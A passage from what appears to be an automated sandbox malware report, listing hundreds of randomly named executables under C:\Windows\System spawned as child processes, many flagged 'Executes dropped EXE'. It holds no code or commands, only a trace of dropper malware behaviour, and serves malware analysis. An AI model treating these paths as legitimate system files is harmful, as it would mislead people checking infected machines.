  C:\Windows\System\rGlLnSp.exe
  2⤵
  - Executes dropped EXE
  PID:1284
- C:\Windows\System\RpNfHDp.exe
  C:\Windows\System\RpNfHDp.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\JoFcbJS.exe
  C:\Windows\System\JoFcbJS.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\roQjuHQ.exe
  C:\Windows\System\roQjuHQ.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\yAkHVRn.exe
  C:\Windows\System\yAkHVRn.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\bpKeELJ.exe
  C:\Windows\System\bpKeELJ.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\fNEgRDJ.exe
  C:\Windows\System\fNEgRDJ.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\TdVGrZp.exe
  C:\Windows\System\TdVGrZp.exe
  2⤵
  - Executes dropped EXE
  PID:704
- C:\Windows\System\AeiUTjQ.exe
  C:\Windows\System\AeiUTjQ.exe
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Windows\System\gFNATgk.exe
  C:\Windows\System\gFNATgk.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\JpukgRv.exe
  C:\Windows\System\JpukgRv.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\nyIkwxo.exe
  C:\Windows\System\nyIkwxo.exe
  2⤵
  - Executes dropped EXE
  PID:1792
- C:\Windows\System\VQdKugd.exe
  C:\Windows\System\VQdKugd.exe
  2⤵
  - Executes dropped EXE
  PID:2288
- C:\Windows\System\jpcZwYM.exe
  C:\Windows\System\jpcZwYM.exe
  2⤵
  - Executes dropped EXE
  PID:352
- C:\Windows\System\NeJSfFh.exe
  C:\Windows\System\NeJSfFh.exe
  2⤵
  - Executes dropped EXE
  PID:2108
- C:\Windows\System\fttJJyW.exe
  C:\Windows\System\fttJJyW.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\HROQsBE.exe
  C:\Windows\System\HROQsBE.exe
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Windows\System\uYLJhIp.exe
  C:\Windows\System\uYLJhIp.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\EAQzGtq.exe
  C:\Windows\System\EAQzGtq.exe
  2⤵
  - Executes dropped EXE
  PID:1296
- C:\Windows\System\ZSfMbHP.exe
  C:\Windows\System\ZSfMbHP.exe
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Windows\System\RlCBrPc.exe
  C:\Windows\System\RlCBrPc.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\FOPfArr.exe
  C:\Windows\System\FOPfArr.exe
  2⤵
  - Executes dropped EXE
  PID:800
- C:\Windows\System\hygNyTT.exe
  C:\Windows\System\hygNyTT.exe
  2⤵
  - Executes dropped EXE
  PID:928
- C:\Windows\System\YXdddiE.exe
  C:\Windows\System\YXdddiE.exe
  2⤵
  - Executes dropped EXE
  PID:612
- C:\Windows\System\ptXyZiv.exe
  C:\Windows\System\ptXyZiv.exe
  2⤵
  - Executes dropped EXE
  PID:736
- C:\Windows\System\WPrdQVK.exe
  C:\Windows\System\WPrdQVK.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Windows\System\Agdzqke.exe
  C:\Windows\System\Agdzqke.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\jnRsQQv.exe
  C:\Windows\System\jnRsQQv.exe
  2⤵
  - Executes dropped EXE
  PID:1868
- C:\Windows\System\yjVfpCg.exe
  C:\Windows\System\yjVfpCg.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\dQFaBaA.exe
  C:\Windows\System\dQFaBaA.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\cEMWcDD.exe
  C:\Windows\System\cEMWcDD.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\pouVMsZ.exe
  C:\Windows\System\pouVMsZ.exe
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Windows\System\PPYHCxT.exe
  C:\Windows\System\PPYHCxT.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\pvWEmhk.exe
  C:\Windows\System\pvWEmhk.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\knSteYm.exe
  C:\Windows\System\knSteYm.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\mSyATBA.exe
  C:\Windows\System\mSyATBA.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\rrtZMob.exe
  C:\Windows\System\rrtZMob.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\gEKDwwk.exe
  C:\Windows\System\gEKDwwk.exe
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Windows\System\gSbGZBv.exe
  C:\Windows\System\gSbGZBv.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\AgzefCh.exe
  C:\Windows\System\AgzefCh.exe
  2⤵
  - Executes dropped EXE
  PID:2720
- C:\Windows\System\yCTrhWh.exe
  C:\Windows\System\yCTrhWh.exe
  2⤵
  - Executes dropped EXE
  PID:1732
- C:\Windows\System\zOlMfDp.exe
  C:\Windows\System\zOlMfDp.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\qKniigK.exe
  C:\Windows\System\qKniigK.exe
  2⤵
  - Executes dropped EXE
  PID:2452
- C:\Windows\System\nDQCKWA.exe
  C:\Windows\System\nDQCKWA.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\TrdLNQD.exe
  C:\Windows\System\TrdLNQD.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\ecVZaGm.exe
  C:\Windows\System\ecVZaGm.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\VOoxhCg.exe
  C:\Windows\System\VOoxhCg.exe
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\Windows\System\MptqpQn.exe
  C:\Windows\System\MptqpQn.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\qZYUOmP.exe
  C:\Windows\System\qZYUOmP.exe
  2⤵
  PID:1328
- C:\Windows\System\FENYDMD.exe
  C:\Windows\System\FENYDMD.exe
  2⤵
  PID:2024
- C:\Windows\System\aMlgLhY.exe
  C:\Windows\System\aMlgLhY.exe
  2⤵
  PID:1208
- C:\Windows\System\qHmUeGD.exe
  C:\Windows\System\qHmUeGD.exe
  2⤵
  PID:2340
- C:\Windows\System\inyALeI.exe
  C:\Windows\System\inyALeI.exe
  2⤵
  PID:740
- C:\Windows\System\xcxQPiz.exe
  C:\Windows\System\xcxQPiz.exe
  2⤵
  PID:580
- C:\Windows\System\TQFBpDN.exe
  C:\Windows\System\TQFBpDN.exe
  2⤵
  PID:2348
- C:\Windows\System\aFGhrvc.exe
  C:\Windows\System\aFGhrvc.exe
  2⤵
  PID:2152
- C:\Windows\System\Hjrbudh.exe
  C:\Windows\System\Hjrbudh.exe
  2⤵
  PID:2076
- C:\Windows\System\ZVgBLxX.exe
  C:\Windows\System\ZVgBLxX.exe
  2⤵
  PID:2832
- C:\Windows\System\IFeHCVv.exe
  C:\Windows\System\IFeHCVv.exe
  2⤵
  PID:768
- C:\Windows\System\tgOPswe.exe
  C:\Windows\System\tgOPswe.exe
  2⤵
  PID:1912
- C:\Windows\System\qBKSPQp.exe
  C:\Windows\System\qBKSPQp.exe
  2⤵
  PID:692
- C:\Windows\System\KbHcBHZ.exe
  C:\Windows\System\KbHcBHZ.exe
  2⤵
  PID:2868
- C:\Windows\System\IRAPbkR.exe
  C:\Windows\System\IRAPbkR.exe
  2⤵
  PID:908
- C:\Windows\System\BICNzwo.exe
  C:\Windows\System\BICNzwo.exe
  2⤵
  PID:2296
- C:\Windows\System\qcKcRBk.exe
  C:\Windows\System\qcKcRBk.exe
  2⤵
  PID:2820
- C:\Windows\System\QDOlEYy.exe
  C:\Windows\System\QDOlEYy.exe
  2⤵
  PID:2684
- C:\Windows\System\MPiFsoS.exe
  C:\Windows\System\MPiFsoS.exe
  2⤵
  PID:3028
- C:\Windows\System\IsCiHET.exe
  C:\Windows\System\IsCiHET.exe
  2⤵
  PID:2544
- C:\Windows\System\BTAejdN.exe
  C:\Windows\System\BTAejdN.exe
  2⤵
  PID:2928
- C:\Windows\System\ZdQcHXp.exe
  C:\Windows\System\ZdQcHXp.exe
  2⤵
  PID:1672
- C:\Windows\System\omWTzxe.exe
  C:\Windows\System\omWTzxe.exe
  2⤵
  PID:2668
- C:\Windows\System\aGhhKLN.exe
  C:\Windows\System\aGhhKLN.exe
  2⤵
  PID:2220
- C:\Windows\System\Qjskfuu.exe
  C:\Windows\System\Qjskfuu.exe
  2⤵
  PID:3008
- C:\Windows\System\WCIxzcW.exe
  C:\Windows\System\WCIxzcW.exe
  2⤵
  PID:1856
- C:\Windows\System\qIarTfr.exe
  C:\Windows\System\qIarTfr.exe
  2⤵
  PID:2356
- C:\Windows\System\yLufbvt.exe
  C:\Windows\System\yLufbvt.exe
  2⤵
  PID:1800
- C:\Windows\System\gFYsPtR.exe
  C:\Windows\System\gFYsPtR.exe
  2⤵
  PID:2904
- C:\Windows\System\WstURTK.exe
  C:\Windows\System\WstURTK.exe
  2⤵
  PID:1236
- C:\Windows\System\mWfLgvU.exe
  C:\Windows\System\mWfLgvU.exe
  2⤵
  PID:1852
- C:\Windows\System\Gklkpig.exe
  C:\Windows\System\Gklkpig.exe
  2⤵
  PID:2640
- C:\Windows\System\hfevFHS.exe
  C:\Windows\System\hfevFHS.exe
  2⤵
  PID:1140
- C:\Windows\System\hQfUvKy.exe
  C:\Windows\System\hQfUvKy.exe
  2⤵
  PID:1076
- C:\Windows\System\isLTmjs.exe
  C:\Windows\System\isLTmjs.exe
  2⤵
  PID:1116
- C:\Windows\System\kBKLWUf.exe
  C:\Windows\System\kBKLWUf.exe
  2⤵
  PID:2760
- C:\Windows\System\PXxAMft.exe
  C:\Windows\System\PXxAMft.exe
  2⤵
  PID:808
- C:\Windows\System\ieoIgyM.exe
  C:\Windows\System\ieoIgyM.exe
  2⤵
  PID:3044
- C:\Windows\System\obGHZps.exe
  C:\Windows\System\obGHZps.exe
  2⤵
  PID:1736
- C:\Windows\System\zylNFxb.exe
  C:\Windows\System\zylNFxb.exe
  2⤵
  PID:1804
- C:\Windows\System\OEUFTRN.exe
  C:\Windows\System\OEUFTRN.exe
  2⤵
  PID:1724
- C:\Windows\System\asLZVUt.exe
  C:\Windows\System\asLZVUt.exe
  2⤵
  PID:1968
- C:\Windows\System\DopknAk.exe
  C:\Windows\System\DopknAk.exe
  2⤵
  PID:1452
- C:\Windows\System\TpKLgeg.exe
  C:\Windows\System\TpKLgeg.exe
  2⤵
  PID:2660
- C:\Windows\System\wLcWjsX.exe
  C:\Windows\System\wLcWjsX.exe
  2⤵
  PID:2700
- C:\Windows\System\NIKGgEz.exe
  C:\Windows\System\NIKGgEz.exe
  2⤵
  PID:2248
- C:\Windows\System\MNxmhvq.exe
  C:\Windows\System\MNxmhvq.exe
  2⤵
  PID:2624
- C:\Windows\System\LIdsoMm.exe
  C:\Windows\System\LIdsoMm.exe
  2⤵
  PID:2496
- C:\Windows\System\TkqOPYg.exe
  C:\Windows\System\TkqOPYg.exe
  2⤵
  PID:2512
- C:\Windows\System\DQcuKTn.exe
  C:\Windows\System\DQcuKTn.exe
  2⤵
  PID:2880
- C:\Windows\System\SSVNabs.exe
  C:\Windows\System\SSVNabs.exe
  2⤵
  PID:1424
- C:\Windows\System\JlgmbxN.exe
  C:\Windows\System\JlgmbxN.exe
  2⤵
  PID:1848
- C:\Windows\System\zYhqQux.exe
  C:\Windows\System\zYhqQux.exe
  2⤵
  PID:2692
- C:\Windows\System\rCQMmYa.exe
  C:\Windows\System\rCQMmYa.exe
  2⤵
  PID:764
- C:\Windows\System\OfbVYhW.exe
  C:\Windows\System\OfbVYhW.exe
  2⤵
  PID:1684
- C:\Windows\System\lMMSKlS.exe
  C:\Windows\System\lMMSKlS.exe
  2⤵
  PID:900
- C:\Windows\System\zwrrCii.exe
  C:\Windows\System\zwrrCii.exe
  2⤵
  PID:2176
- C:\Windows\System\uoDoAJn.exe
  C:\Windows\System\uoDoAJn.exe
  2⤵
  PID:2920
- C:\Windows\System\ZTWSAZy.exe
  C:\Windows\System\ZTWSAZy.exe
  2⤵
  PID:2860
- C:\Windows\System\DFAaGxQ.exe
  C:\Windows\System\DFAaGxQ.exe
  2⤵
  PID:2848
- C:\Windows\System\kUKhyVV.exe
  C:\Windows\System\kUKhyVV.exe
  2⤵
  PID:1364
- C:\Windows\System\FEsihqT.exe
  C:\Windows\System\FEsihqT.exe
  2⤵
  PID:2504
- C:\Windows\System\HUiWtXV.exe
  C:\Windows\System\HUiWtXV.exe
  2⤵
  PID:1876
- C:\Windows\System\gGonmaB.exe
  C:\Windows\System\gGonmaB.exe
  2⤵
  PID:2184
- C:\Windows\System\WedeDQP.exe
  C:\Windows\System\WedeDQP.exe
  2⤵
  PID:2984
- C:\Windows\System\rkiCxnP.exe
  C:\Windows\System\rkiCxnP.exe
  2⤵
  PID:2940
- C:\Windows\System\zktszvI.exe
  C:\Windows\System\zktszvI.exe
  2⤵
  PID:3088
- C:\Windows\System\rsBagnR.exe
  C:\Windows\System\rsBagnR.exe
  2⤵
  PID:3104
- C:\Windows\System\lZUOypW.exe
  C:\Windows\System\lZUOypW.exe
  2⤵
  PID:3124
- C:\Windows\System\gGujKZN.exe
  C:\Windows\System\gGujKZN.exe
  2⤵
  PID:3140
- C:\Windows\System\lOuYiqG.exe
  C:\Windows\System\lOuYiqG.exe
  2⤵
  PID:3160
- C:\Windows\System\zwPFzbW.exe
  C:\Windows\System\zwPFzbW.exe
  2⤵
  PID:3176
- C:\Windows\System\cijjxyH.exe
  C:\Windows\System\cijjxyH.exe
  2⤵
  PID:3196
- C:\Windows\System\drsbvCK.exe
  C:\Windows\System\drsbvCK.exe
  2⤵
  PID:3212
- C:\Windows\System\keNmBcU.exe
  C:\Windows\System\keNmBcU.exe
  2⤵
  PID:3232
- C:\Windows\System\tLSTNfL.exe
  C:\Windows\System\tLSTNfL.exe
  2⤵
  PID:3248
- C:\Windows\System\URjsZjz.exe
  C:\Windows\System\URjsZjz.exe
  2⤵
  PID:3268
- C:\Windows\System\SETAVPT.exe
  C:\Windows\System\SETAVPT.exe
  2⤵
  PID:3284
- C:\Windows\System\SgNLroN.exe
  C:\Windows\System\SgNLroN.exe
  2⤵
  PID:3304
- C:\Windows\System\gSsHsLJ.exe
  C:\Windows\System\gSsHsLJ.exe
  2⤵
  PID:3324
- C:\Windows\System\znsOIAW.exe
  C:\Windows\System\znsOIAW.exe
  2⤵
  PID:3432
- C:\Windows\System\RflSkDs.exe
  C:\Windows\System\RflSkDs.exe
  2⤵
  PID:3448
- C:\Windows\System\wSSiUDe.exe
  C:\Windows\System\wSSiUDe.exe
  2⤵
  PID:3468
- C:\Windows\System\hJIzygF.exe
  C:\Windows\System\hJIzygF.exe
  2⤵
  PID:3484
- C:\Windows\System\ChIxQac.exe
  C:\Windows\System\ChIxQac.exe
  2⤵
  PID:3500
- C:\Windows\System\VmLUdPZ.exe
  C:\Windows\System\VmLUdPZ.exe
  2⤵
  PID:3520
- C:\Windows\System\JbVcHux.exe
  C:\Windows\System\JbVcHux.exe
  2⤵
  PID:3536
- C:\Windows\System\aJQFcKh.exe
  C:\Windows\System\aJQFcKh.exe
  2⤵
  PID:3556
- C:\Windows\System\RiahaZW.exe
  C:\Windows\System\RiahaZW.exe
  2⤵
  PID:3592
- C:\Windows\System\CCWLjFR.exe
  C:\Windows\System\CCWLjFR.exe
  2⤵
  PID:3608
- C:\Windows\System\NHYZTOk.exe
  C:\Windows\System\NHYZTOk.exe
  2⤵
  PID:3628
- C:\Windows\System\JGQRQXp.exe
  C:\Windows\System\JGQRQXp.exe
  2⤵
  PID:3644
- C:\Windows\System\kteeUPN.exe
  C:\Windows\System\kteeUPN.exe
  2⤵
  PID:3664
- C:\Windows\System\YELLZsf.exe
  C:\Windows\System\YELLZsf.exe
  2⤵
  PID:3680
- C:\Windows\System\JoWjLfm.exe
  C:\Windows\System\JoWjLfm.exe
  2⤵
  PID:3704
- C:\Windows\System\yqEcJXi.exe
  C:\Windows\System\yqEcJXi.exe
  2⤵
  PID:3720
- C:\Windows\System\DiPkVBg.exe
  C:\Windows\System\DiPkVBg.exe
  2⤵
  PID:3736
- C:\Windows\System\DIqfsqU.exe
  C:\Windows\System\DIqfsqU.exe
  2⤵
  PID:3756
- C:\Windows\System\xfkiVeS.exe
  C:\Windows\System\xfkiVeS.exe
  2⤵
  PID:3776
- C:\Windows\System\LQJNnVX.exe
  C:\Windows\System\LQJNnVX.exe
  2⤵
  PID:3792
- C:\Windows\System\fffsZxD.exe
  C:\Windows\System\fffsZxD.exe
  2⤵
  PID:3808
- C:\Windows\System\LcZGiUe.exe
  C:\Windows\System\LcZGiUe.exe
  2⤵
  PID:3824
- C:\Windows\System\eGgDySb.exe
  C:\Windows\System\eGgDySb.exe
  2⤵
  PID:3844
- C:\Windows\System\PAXedqg.exe
  C:\Windows\System\PAXedqg.exe
  2⤵
  PID:3860
- C:\Windows\System\ogLqifW.exe
  C:\Windows\System\ogLqifW.exe
  2⤵
  PID:3880
- C:\Windows\System\zAWBLTh.exe
  C:\Windows\System\zAWBLTh.exe
  2⤵
  PID:3896
- C:\Windows\System\EqEgUqp.exe
  C:\Windows\System\EqEgUqp.exe
  2⤵
  PID:3916
- C:\Windows\System\PVwMTup.exe
  C:\Windows\System\PVwMTup.exe
  2⤵
  PID:3936
- C:\Windows\System\pWidJkY.exe
  C:\Windows\System\pWidJkY.exe
  2⤵
  PID:3952
- C:\Windows\System\RucrRSk.exe
  C:\Windows\System\RucrRSk.exe
  2⤵
  PID:3968
- C:\Windows\System\oGTlUeD.exe
  C:\Windows\System\oGTlUeD.exe
  2⤵
  PID:3988
- C:\Windows\System\vUWATNH.exe
  C:\Windows\System\vUWATNH.exe
  2⤵
  PID:4008
- C:\Windows\System\DZlIZvX.exe
  C:\Windows\System\DZlIZvX.exe
  2⤵
  PID:4032
- C:\Windows\System\LtNXOWr.exe
  C:\Windows\System\LtNXOWr.exe
  2⤵
  PID:4048
- C:\Windows\System\KveuKLj.exe
  C:\Windows\System\KveuKLj.exe
  2⤵
  PID:4064
- C:\Windows\System\HgiWIVk.exe
  C:\Windows\System\HgiWIVk.exe
  2⤵
  PID:4080
- C:\Windows\System\MMQnvqY.exe
  C:\Windows\System\MMQnvqY.exe
  2⤵
  PID:2728
- C:\Windows\System\mqzvPLe.exe
  C:\Windows\System\mqzvPLe.exe
  2⤵
  PID:468
- C:\Windows\System\yVEfYft.exe
  C:\Windows\System\yVEfYft.exe
  2⤵
  PID:2096
- C:\Windows\System\YHwOhJl.exe
  C:\Windows\System\YHwOhJl.exe
  2⤵
  PID:1108
- C:\Windows\System\zsMaFCW.exe
  C:\Windows\System\zsMaFCW.exe
  2⤵
  PID:3276
- C:\Windows\System\LqlEetm.exe
  C:\Windows\System\LqlEetm.exe
  2⤵
  PID:2620
- C:\Windows\System\NAPXEDP.exe
  C:\Windows\System\NAPXEDP.exe
  2⤵
  PID:2616
- C:\Windows\System\lUQZkvH.exe
  C:\Windows\System\lUQZkvH.exe
  2⤵
  PID:3084
- C:\Windows\System\HnCLjYs.exe
  C:\Windows\System\HnCLjYs.exe
  2⤵
  PID:3148
- C:\Windows\System\rEodNNn.exe
  C:\Windows\System\rEodNNn.exe
  2⤵
  PID:3192
- C:\Windows\System\dIBBLHw.exe
  C:\Windows\System\dIBBLHw.exe
  2⤵
  PID:3444
- C:\Windows\System\pGLpcqQ.exe
  C:\Windows\System\pGLpcqQ.exe
  2⤵
  PID:3512
- C:\Windows\System\lwSOReZ.exe
  C:\Windows\System\lwSOReZ.exe
  2⤵
  PID:2768
- C:\Windows\System\HvnJWPj.exe
  C:\Windows\System\HvnJWPj.exe
  2⤵
  PID:3604
- C:\Windows\System\RaIneCp.exe
  C:\Windows\System\RaIneCp.exe
  2⤵
  PID:3716
- C:\Windows\System\kyNXDHB.exe
  C:\Windows\System\kyNXDHB.exe
  2⤵
  PID:3292
- C:\Windows\System\WzWLlxA.exe
  C:\Windows\System\WzWLlxA.exe
  2⤵
  PID:3336
- C:\Windows\System\TuMlTLV.exe
  C:\Windows\System\TuMlTLV.exe
  2⤵
  PID:3348
- C:\Windows\System\LGnRcAB.exe
  C:\Windows\System\LGnRcAB.exe
  2⤵
  PID:3752
- C:\Windows\System\LOOWjos.exe
  C:\Windows\System\LOOWjos.exe
  2⤵
  PID:3852
- C:\Windows\System\SvIdRFL.exe
  C:\Windows\System\SvIdRFL.exe
  2⤵
  PID:3924
- C:\Windows\System\LZpRqvG.exe
  C:\Windows\System\LZpRqvG.exe
  2⤵
  PID:3364
- C:\Windows\System\hevsQET.exe
  C:\Windows\System\hevsQET.exe
  2⤵
  PID:3376
- C:\Windows\System\hLuBVZK.exe
  C:\Windows\System\hLuBVZK.exe
  2⤵
  PID:4000
- C:\Windows\System\vbeDqXO.exe
  C:\Windows\System\vbeDqXO.exe
  2⤵
  PID:4072
- C:\Windows\System\ZajnGiA.exe
  C:\Windows\System\ZajnGiA.exe
  2⤵
  PID:2084
- C:\Windows\System\MsYIlOo.exe
  C:\Windows\System\MsYIlOo.exe
  2⤵
  PID:2840
- C:\Windows\System\IEVcFfH.exe
  C:\Windows\System\IEVcFfH.exe
  2⤵
  PID:3564
- C:\Windows\System\hfTzRyy.exe
  C:\Windows\System\hfTzRyy.exe
  2⤵
  PID:3456
- C:\Windows\System\kzLwAiC.exe
  C:\Windows\System\kzLwAiC.exe
  2⤵
  PID:3616
- C:\Windows\System\zrZOUXz.exe
  C:\Windows\System\zrZOUXz.exe
  2⤵
  PID:2000
- C:\Windows\System\RPnyeTh.exe
  C:\Windows\System\RPnyeTh.exe
  2⤵
  PID:3728
- C:\Windows\System\AzRAIVT.exe
  C:\Windows\System\AzRAIVT.exe
  2⤵
  PID:3772
- C:\Windows\System\qQSLkVH.exe
  C:\Windows\System\qQSLkVH.exe
  2⤵
  PID:3840
- C:\Windows\System\WtsPQCr.exe
  C:\Windows\System\WtsPQCr.exe
  2⤵
  PID:4020
- C:\Windows\System\HwhYnae.exe
  C:\Windows\System\HwhYnae.exe
  2⤵
  PID:4060
- C:\Windows\System\ZWBxlyR.exe
  C:\Windows\System\ZWBxlyR.exe
  2⤵
  PID:2128
- C:\Windows\System\UZjGiHE.exe
  C:\Windows\System\UZjGiHE.exe
  2⤵
  PID:1796
- C:\Windows\System\eZQEhfx.exe
  C:\Windows\System\eZQEhfx.exe
  2⤵
  PID:3100
- C:\Windows\System\wdyRSDz.exe
  C:\Windows\System\wdyRSDz.exe
  2⤵
  PID:1960
- C:\Windows\System\aMDQtKK.exe
  C:\Windows\System\aMDQtKK.exe
  2⤵
  PID:1468
- C:\Windows\System\KRdLyZj.exe
  C:\Windows\System\KRdLyZj.exe
  2⤵
  PID:3320
- C:\Windows\System\JeZtQaa.exe
  C:\Windows\System\JeZtQaa.exe
  2⤵
  PID:3156
- C:\Windows\System\QwhjMRq.exe
  C:\Windows\System\QwhjMRq.exe
  2⤵
  PID:3508
- C:\Windows\System\gyJrWKz.exe
  C:\Windows\System\gyJrWKz.exe
  2⤵
  PID:388
- C:\Windows\System\iawONTz.exe
  C:\Windows\System\iawONTz.exe
  2⤵
  PID:3820
- C:\Windows\System\yNNywVZ.exe
  C:\Windows\System\yNNywVZ.exe
  2⤵
  PID:3360
- C:\Windows\System\ZZhcdlY.exe
  C:\Windows\System\ZZhcdlY.exe
  2⤵
  PID:3496
- C:\Windows\System\pecjSHW.exe
  C:\Windows\System\pecjSHW.exe
  2⤵
  PID:3224
- C:\Windows\System\DKYnllY.exe
  C:\Windows\System\DKYnllY.exe
  2⤵
  PID:3260
- C:\Windows\System\LGkGJCu.exe
  C:\Windows\System\LGkGJCu.exe
  2⤵
  PID:2552
- C:\Windows\System\xiAWEXR.exe
  C:\Windows\System\xiAWEXR.exe
  2⤵
  PID:3588
- C:\Windows\System\xdWhjcK.exe
  C:\Windows\System\xdWhjcK.exe
  2⤵
  PID:1204
- C:\Windows\System\SKXBYrm.exe
  C:\Windows\System\SKXBYrm.exe
  2⤵
  PID:3832
- C:\Windows\System\igBRBgg.exe
  C:\Windows\System\igBRBgg.exe
  2⤵
  PID:3964
- C:\Windows\System\bCbwTWU.exe
  C:\Windows\System\bCbwTWU.exe
  2⤵
  PID:1964
- C:\Windows\System\PcuEqAd.exe
  C:\Windows\System\PcuEqAd.exe
  2⤵
  PID:2732
- C:\Windows\System\IwzDPaJ.exe
  C:\Windows\System\IwzDPaJ.exe
  2⤵
  PID:1436
- C:\Windows\System\vduxpwP.exe
  C:\Windows\System\vduxpwP.exe
  2⤵
  PID:2208
- C:\Windows\System\ckanKbi.exe
  C:\Windows\System\ckanKbi.exe
  2⤵
  PID:2696
- C:\Windows\System\aTXHoIE.exe
  C:\Windows\System\aTXHoIE.exe
  2⤵
  PID:2148
- C:\Windows\System\oYodOXc.exe
  C:\Windows\System\oYodOXc.exe
  2⤵
  PID:3656
- C:\Windows\System\XoGDCky.exe
  C:\Windows\System\XoGDCky.exe
  2⤵
  PID:872
- C:\Windows\System\qpZEnMB.exe
  C:\Windows\System\qpZEnMB.exe
  2⤵
  PID:3904
- C:\Windows\System\PrxJpDQ.exe
  C:\Windows\System\PrxJpDQ.exe
  2⤵
  PID:3492
- C:\Windows\System\EavcANZ.exe
  C:\Windows\System\EavcANZ.exe
  2⤵
  PID:3976
- C:\Windows\System\PchgCxy.exe
  C:\Windows\System\PchgCxy.exe
  2⤵
  PID:3980
- C:\Windows\System\oFvBnBQ.exe
  C:\Windows\System\oFvBnBQ.exe
  2⤵
  PID:2104
- C:\Windows\System\zgBaOFI.exe
  C:\Windows\System\zgBaOFI.exe
  2⤵
  PID:2516
- C:\Windows\System\RyooTyK.exe
  C:\Windows\System\RyooTyK.exe
  2⤵
  PID:1484
- C:\Windows\System\ifngdyd.exe
  C:\Windows\System\ifngdyd.exe
  2⤵
  PID:2532
- C:\Windows\System\IhRVXYN.exe
  C:\Windows\System\IhRVXYN.exe
  2⤵
  PID:3204
- C:\Windows\System\gmAlDAn.exe
  C:\Windows\System\gmAlDAn.exe
  2⤵
  PID:2428
- C:\Windows\System\FSRXHQK.exe
  C:\Windows\System\FSRXHQK.exe
  2⤵
  PID:3120
- C:\Windows\System\CVNCyyp.exe
  C:\Windows\System\CVNCyyp.exe
  2⤵
  PID:776
- C:\Windows\System\wZjaRCH.exe
  C:\Windows\System\wZjaRCH.exe
  2⤵
  PID:4056
- C:\Windows\System\BagspeW.exe
  C:\Windows\System\BagspeW.exe
  2⤵
  PID:1216
- C:\Windows\System\xhRUWRg.exe
  C:\Windows\System\xhRUWRg.exe
  2⤵
  PID:2780
- C:\Windows\System\EcqjMjb.exe
  C:\Windows\System\EcqjMjb.exe
  2⤵
  PID:3672
- C:\Windows\System\QNZFJnw.exe
  C:\Windows\System\QNZFJnw.exe
  2⤵
  PID:3712
- C:\Windows\System\QQxYPKz.exe
  C:\Windows\System\QQxYPKz.exe
  2⤵
  PID:3872
- C:\Windows\System\hTDRtso.exe
  C:\Windows\System\hTDRtso.exe
  2⤵
  PID:4028
- C:\Windows\System\oesZDyq.exe
  C:\Windows\System\oesZDyq.exe
  2⤵
  PID:852
- C:\Windows\System\vTFnCek.exe
  C:\Windows\System\vTFnCek.exe
  2⤵
  PID:596
- C:\Windows\System\uFZBHoG.exe
  C:\Windows\System\uFZBHoG.exe
  2⤵
  PID:3552
- C:\Windows\System\Tlagpef.exe
  C:\Windows\System\Tlagpef.exe
  2⤵
  PID:1780
- C:\Windows\System\UlPvfGl.exe
  C:\Windows\System\UlPvfGl.exe
  2⤵
  PID:3764
- C:\Windows\System\ERHdJOt.exe
  C:\Windows\System\ERHdJOt.exe
  2⤵
  PID:2584
- C:\Windows\System\cZkaoYd.exe
  C:\Windows\System\cZkaoYd.exe
  2⤵
  PID:1028
- C:\Windows\System\gsEYSgT.exe
  C:\Windows\System\gsEYSgT.exe
  2⤵
  PID:3912
- C:\Windows\System\dJTYpQx.exe
  C:\Windows\System\dJTYpQx.exe
  2⤵
  PID:608
- C:\Windows\System\jEsCiAC.exe
  C:\Windows\System\jEsCiAC.exe
  2⤵
  PID:2160
- C:\Windows\System\SMSVjox.exe
  C:\Windows\System\SMSVjox.exe
  2⤵
  PID:3948
- C:\Windows\System\QqnywLJ.exe
  C:\Windows\System\QqnywLJ.exe
  2⤵
  PID:3908
- C:\Windows\System\PPaLUVt.exe
  C:\Windows\System\PPaLUVt.exe
  2⤵
  PID:2228
- C:\Windows\System\ZvabgiQ.exe
  C:\Windows\System\ZvabgiQ.exe
  2⤵
  PID:3572
- C:\Windows\System\MgCsFMf.exe
  C:\Windows\System\MgCsFMf.exe
  2⤵
  PID:3640
- C:\Windows\System\efhHwHf.exe
  C:\Windows\System\efhHwHf.exe
  2⤵
  PID:1756
- C:\Windows\System\KhsQPJL.exe
  C:\Windows\System\KhsQPJL.exe
  2⤵
  PID:3032
- C:\Windows\System\DWNwZPn.exe
  C:\Windows\System\DWNwZPn.exe
  2⤵
  PID:3368
- C:\Windows\System\ZXNCneO.exe
  C:\Windows\System\ZXNCneO.exe
  2⤵
  PID:2900
- C:\Windows\System\jvKEVSk.exe
  C:\Windows\System\jvKEVSk.exe
  2⤵
  PID:2444
